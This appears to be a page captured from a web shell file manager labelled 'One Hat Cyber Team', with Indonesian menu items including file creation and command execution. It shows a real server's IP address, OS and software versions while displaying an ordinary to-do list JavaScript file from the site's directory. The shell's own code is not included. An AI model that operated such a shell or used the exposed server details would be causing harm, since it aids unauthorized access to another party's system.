One Hat Cyber Team
Your IP :
172.16.0.254
Server IP :
58.26.163.33
Server :
Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Server Software :
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
PHP Version :
7.3.25
Buat File
|
Buat Folder
Eksekusi
Dir :
C:
/
xampp7
/
htdocs
/
edgpens_220424
/
js
/
pages
/
View File Name :
compTodo.js
/* * Document : compTodo.js * Author : pixelcave * Description: Custom javascript code used in To do list page */ var CompTodo = function() { return { init: function() { var taskList = $('.task-list'); var taskInput = $('#add-task'); var taskInputVal = ''; /* On page load, check the checkbox if the class 'task-done' was added to a task */ $('.task-done input:checkbox').prop('checked', true); /* Toggle task state */ taskList.on('click', 'input:checkbox', function(){ $(this).parents('li').toggleClass('task-done'); }); /* Remove a task from the list */ taskList.on('click', '.task-close', function(){ $(this).parents('li').slideUp(200); }); /* Add a new task to the list */ $('#add-task-form').on('submit', function(){ // Get input value taskInputVal = taskInput.prop('value'); // Check if the user entered something if ( taskInputVal ) { // Add it to the task list taskList .prepend('<li class="animation-slideDown">' + '<a href="javascript:void(0)" class="task-close text-danger"><i class="fa fa-times"></i></a>' + '<label class="checkbox-inline">' + '<input type="checkbox">' + $('<span />').text(taskInputVal).html() + '</label>' + '</li>'); // Clear input field taskInput.prop('value', '').focus(); } // Don't let the form submit return false; }); } }; }();